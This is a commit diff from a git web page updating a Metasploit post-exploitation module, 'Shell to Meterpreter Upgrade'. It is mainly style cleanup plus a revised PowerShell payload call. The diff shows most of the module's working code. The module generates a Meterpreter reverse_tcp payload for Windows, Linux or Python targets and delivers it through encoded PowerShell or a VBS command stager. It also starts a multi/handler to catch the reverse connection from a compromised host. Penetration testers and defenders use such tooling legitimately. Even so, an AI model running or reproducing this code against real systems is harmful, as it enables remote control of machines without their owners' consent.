Update for most recent PowerShell.rb
This update makes the module compatible with Meatballs' march PowerShell changes mentioned earlier (lines 112/113). It also includes changes recommended by Timwr and about 2/3 of the issues mentioned by Rubocop. I didn't make some of the Rubocop changes based on HD's comments in IRC that it was still being tuned to meet the project's requirements.bug/bundler_fix
parent
11515fc75c
commit
6315710697
|
@ -12,8 +12,8 @@ class Metasploit3 < Msf::Post
|
||||||
include Exploit::Powershell
|
include Exploit::Powershell
|
||||||
include Post::Windows::Powershell
|
include Post::Windows::Powershell
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info = {})
|
||||||
super( update_info( info,
|
super(update_info(info,
|
||||||
'Name' => 'Shell to Meterpreter Upgrade',
|
'Name' => 'Shell to Meterpreter Upgrade',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module attempts to upgrade a command shell to meterpreter. The shell
|
This module attempts to upgrade a command shell to meterpreter. The shell
|
||||||
|
@ -33,9 +33,9 @@ class Metasploit3 < Msf::Post
|
||||||
OptInt.new('LPORT',
|
OptInt.new('LPORT',
|
||||||
[false, 'Port for Payload to connect to.', 4433]),
|
[false, 'Port for Payload to connect to.', 4433]),
|
||||||
OptBool.new('HANDLER',
|
OptBool.new('HANDLER',
|
||||||
[ true, 'Start an Exploit Multi Handler to receive the connection', true]),
|
[ true, 'Start an Exploit Multi Handler to receive the connection', true])
|
||||||
], self.class)
|
], self.class)
|
||||||
deregister_options("PERSIST","PSH_OLD_METHOD","RUN_WOW64")
|
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
|
||||||
end
|
end
|
||||||
|
|
||||||
# Run Method for when run command is issued
|
# Run Method for when run command is issued
|
||||||
|
@ -49,7 +49,7 @@ class Metasploit3 < Msf::Post
|
||||||
elsif framework.datastore['LHOST']
|
elsif framework.datastore['LHOST']
|
||||||
lhost = framework.datastore['LHOST']
|
lhost = framework.datastore['LHOST']
|
||||||
else
|
else
|
||||||
lhost = session.tunnel_local.split(":")[0]
|
lhost = session.tunnel_local.split(':')[0]
|
||||||
end
|
end
|
||||||
|
|
||||||
# If nothing else works....
|
# If nothing else works....
|
||||||
|
@ -64,6 +64,7 @@ class Metasploit3 < Msf::Post
|
||||||
payload_name = 'windows/meterpreter/reverse_tcp'
|
payload_name = 'windows/meterpreter/reverse_tcp'
|
||||||
lplat = [Msf::Platform::Windows]
|
lplat = [Msf::Platform::Windows]
|
||||||
larch = [ARCH_X86]
|
larch = [ARCH_X86]
|
||||||
|
psh_arch = 'x86'
|
||||||
when /osx/i
|
when /osx/i
|
||||||
platform = 'python'
|
platform = 'python'
|
||||||
payload_name = 'python/meterpreter/reverse_tcp'
|
payload_name = 'python/meterpreter/reverse_tcp'
|
||||||
|
@ -79,7 +80,7 @@ class Metasploit3 < Msf::Post
|
||||||
payload_name = 'linux/x86/meterpreter/reverse_tcp'
|
payload_name = 'linux/x86/meterpreter/reverse_tcp'
|
||||||
lplat = [Msf::Platform::Linux]
|
lplat = [Msf::Platform::Linux]
|
||||||
larch = [ARCH_X86]
|
larch = [ARCH_X86]
|
||||||
elsif cmd_exec("python -V") =~ /Python 2\.(\d)/
|
elsif cmd_exec('python -V') =~ /Python 2\.(\d)/
|
||||||
# Generic fallback for OSX, Solaris, Linux/ARM
|
# Generic fallback for OSX, Solaris, Linux/ARM
|
||||||
platform = 'python'
|
platform = 'python'
|
||||||
payload_name = 'python/meterpreter/reverse_tcp'
|
payload_name = 'python/meterpreter/reverse_tcp'
|
||||||
|
@ -91,15 +92,14 @@ class Metasploit3 < Msf::Post
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
payload_data = generate_payload(lhost,lport,payload_name)
|
payload_data = generate_payload(lhost, lport, payload_name)
|
||||||
if payload_data.blank?
|
if payload_data.blank?
|
||||||
print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")
|
print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
if datastore['HANDLER']
|
if datastore['HANDLER']
|
||||||
listener_job_id = create_multihandler(lhost,lport,payload_name)
|
listener_job_id = create_multihandler(lhost, lport, payload_name)
|
||||||
if listener_job_id.blank?
|
if listener_job_id.blank?
|
||||||
print_error("Failed to start multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
|
print_error("Failed to start multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
|
||||||
return nil
|
return nil
|
||||||
|
@ -109,7 +109,8 @@ class Metasploit3 < Msf::Post
|
||||||
case platform
|
case platform
|
||||||
when 'win'
|
when 'win'
|
||||||
if have_powershell?
|
if have_powershell?
|
||||||
cmd_exec(cmd_psh_payload(payload_data))
|
psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false }
|
||||||
|
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
|
||||||
else
|
else
|
||||||
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
|
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
|
||||||
aborted = transmit_payload(exe)
|
aborted = transmit_payload(exe)
|
||||||
|
@ -123,11 +124,9 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
cleanup_handler(listener_job_id, aborted) if datastore['HANDLER']
|
cleanup_handler(listener_job_id, aborted) if datastore['HANDLER']
|
||||||
return nil
|
return nil
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def transmit_payload(exe)
|
def transmit_payload(exe)
|
||||||
|
|
||||||
#
|
#
|
||||||
# Generate the stager command array
|
# Generate the stager command array
|
||||||
#
|
#
|
||||||
|
@ -140,7 +139,7 @@ class Metasploit3 < Msf::Post
|
||||||
#:nodelete => true # keep temp files (for debugging)
|
#:nodelete => true # keep temp files (for debugging)
|
||||||
}
|
}
|
||||||
if session.platform =~ /win/i
|
if session.platform =~ /win/i
|
||||||
opts[:decoder] = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")
|
opts[:decoder] = File.join(Msf::Config.data_directory, 'exploits', 'cmdstager', 'vbs_b64')
|
||||||
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
|
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
|
||||||
else
|
else
|
||||||
opts[:background] = true
|
opts[:background] = true
|
||||||
|
@ -150,8 +149,8 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
cmds = cmdstager.generate(opts)
|
cmds = cmdstager.generate(opts)
|
||||||
if (cmds.nil? or cmds.length < 1)
|
if cmds.nil? || cmds.length < 1
|
||||||
print_error("The command stager could not be generated")
|
print_error('The command stager could not be generated')
|
||||||
raise ArgumentError
|
raise ArgumentError
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -169,18 +168,16 @@ class Metasploit3 < Msf::Post
|
||||||
aborted = false
|
aborted = false
|
||||||
cmds.each { |cmd|
|
cmds.each { |cmd|
|
||||||
ret = session.shell_command_token(cmd)
|
ret = session.shell_command_token(cmd)
|
||||||
if (not ret)
|
if !ret
|
||||||
aborted = true
|
aborted = true
|
||||||
else
|
else
|
||||||
ret.strip!
|
ret.strip!
|
||||||
if (not ret.empty?)
|
aborted = true if !ret.empty?
|
||||||
aborted = true
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
if aborted
|
if aborted
|
||||||
print_error("Error: Unable to execute the following command:")
|
print_error('Error: Unable to execute the following command:')
|
||||||
print_error(cmd.inspect)
|
print_error(cmd.inspect)
|
||||||
print_error('Output: ' + ret.inspect) if ret and not ret.empty?
|
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -200,23 +197,21 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
def cleanup_handler(listener_job_id, aborted)
|
def cleanup_handler(listener_job_id, aborted)
|
||||||
|
|
||||||
# Return if the job has already finished
|
# Return if the job has already finished
|
||||||
return nil if framework.jobs[listener_job_id].nil?
|
return nil if framework.jobs[listener_job_id].nil?
|
||||||
|
|
||||||
Thread.new do
|
Thread.new do
|
||||||
if not aborted
|
if !aborted
|
||||||
timer = 0
|
timer = 0
|
||||||
while not framework.jobs[listener_job_id].nil? && timer < 10
|
while !framework.jobs[listener_job_id].nil? && timer < 10
|
||||||
# Wait up to 10 seconds for the session to come in..
|
# Wait up to 10 seconds for the session to come in..
|
||||||
sleep(1)
|
sleep(1)
|
||||||
timer += 1
|
timer += 1
|
||||||
end
|
|
||||||
end
|
end
|
||||||
print_status("Stopping multi/handler")
|
|
||||||
framework.jobs.stop_job(listener_job_id)
|
|
||||||
end
|
end
|
||||||
|
print_status('Stopping multi/handler')
|
||||||
|
framework.jobs.stop_job(listener_job_id)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -227,16 +222,15 @@ class Metasploit3 < Msf::Post
|
||||||
print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
|
print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# Method for checking if a listener for a given IP and port is present
|
# Method for checking if a listener for a given IP and port is present
|
||||||
# will return true if a conflict exists and false if none is found
|
# will return true if a conflict exists and false if none is found
|
||||||
def check_for_listener(lhost,lport)
|
def check_for_listener(lhost, lport)
|
||||||
client.framework.jobs.each do |k,j|
|
client.framework.jobs.each do |k, j|
|
||||||
if j.name =~ / multi\/handler/
|
if j.name =~ / multi\/handler/
|
||||||
current_id = j.jid
|
current_id = j.jid
|
||||||
current_lhost = j.ctx[0].datastore["LHOST"]
|
current_lhost = j.ctx[0].datastore['LHOST']
|
||||||
current_lport = j.ctx[0].datastore["LPORT"]
|
current_lport = j.ctx[0].datastore['LPORT']
|
||||||
if lhost == current_lhost and lport == current_lport.to_i
|
if lhost == current_lhost && lport == current_lport.to_i
|
||||||
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
|
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
@ -246,14 +240,14 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
# Starts a multi/handler session
|
# Starts a multi/handler session
|
||||||
def create_multihandler(lhost,lport,payload_name)
|
def create_multihandler(lhost, lport, payload_name)
|
||||||
pay = client.framework.payloads.create(payload_name)
|
pay = client.framework.payloads.create(payload_name)
|
||||||
pay.datastore['LHOST'] = lhost
|
pay.datastore['LHOST'] = lhost
|
||||||
pay.datastore['LPORT'] = lport
|
pay.datastore['LPORT'] = lport
|
||||||
print_status("Starting exploit multi handler")
|
print_status('Starting exploit multi handler')
|
||||||
if not check_for_listener(lhost,lport)
|
if !check_for_listener(lhost, lport)
|
||||||
# Set options for module
|
# Set options for module
|
||||||
mh = client.framework.exploits.create("multi/handler")
|
mh = client.framework.exploits.create('multi/handler')
|
||||||
mh.share_datastore(pay.datastore)
|
mh.share_datastore(pay.datastore)
|
||||||
mh.datastore['WORKSPACE'] = client.workspace
|
mh.datastore['WORKSPACE'] = client.workspace
|
||||||
mh.datastore['PAYLOAD'] = payload_name
|
mh.datastore['PAYLOAD'] = payload_name
|
||||||
|
@ -276,24 +270,19 @@ class Metasploit3 < Msf::Post
|
||||||
# target could end up on on a different handler with the wrong payload
|
# target could end up on on a different handler with the wrong payload
|
||||||
# or dropped entirely.
|
# or dropped entirely.
|
||||||
select(nil, nil, nil, 5)
|
select(nil, nil, nil, 5)
|
||||||
if framework.jobs[mh.job_id.to_s].nil?
|
return nil if framework.jobs[mh.job_id.to_s].nil?
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
return mh.job_id.to_s
|
return mh.job_id.to_s
|
||||||
else
|
else
|
||||||
print_error("A job is listening on the same local port")
|
print_error('A job is listening on the same local port')
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_payload(lhost,lport,payload_name)
|
def generate_payload(lhost, lport, payload_name)
|
||||||
payload = framework.payloads.create(payload_name)
|
payload = framework.payloads.create(payload_name)
|
||||||
options = "LHOST=#{lhost} LPORT=#{lport}"
|
options = "LHOST=#{lhost} LPORT=#{lport}"
|
||||||
buf = payload.generate_simple('OptionStr' => options)
|
buf = payload.generate_simple('OptionStr' => options)
|
||||||
return buf
|
buf
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue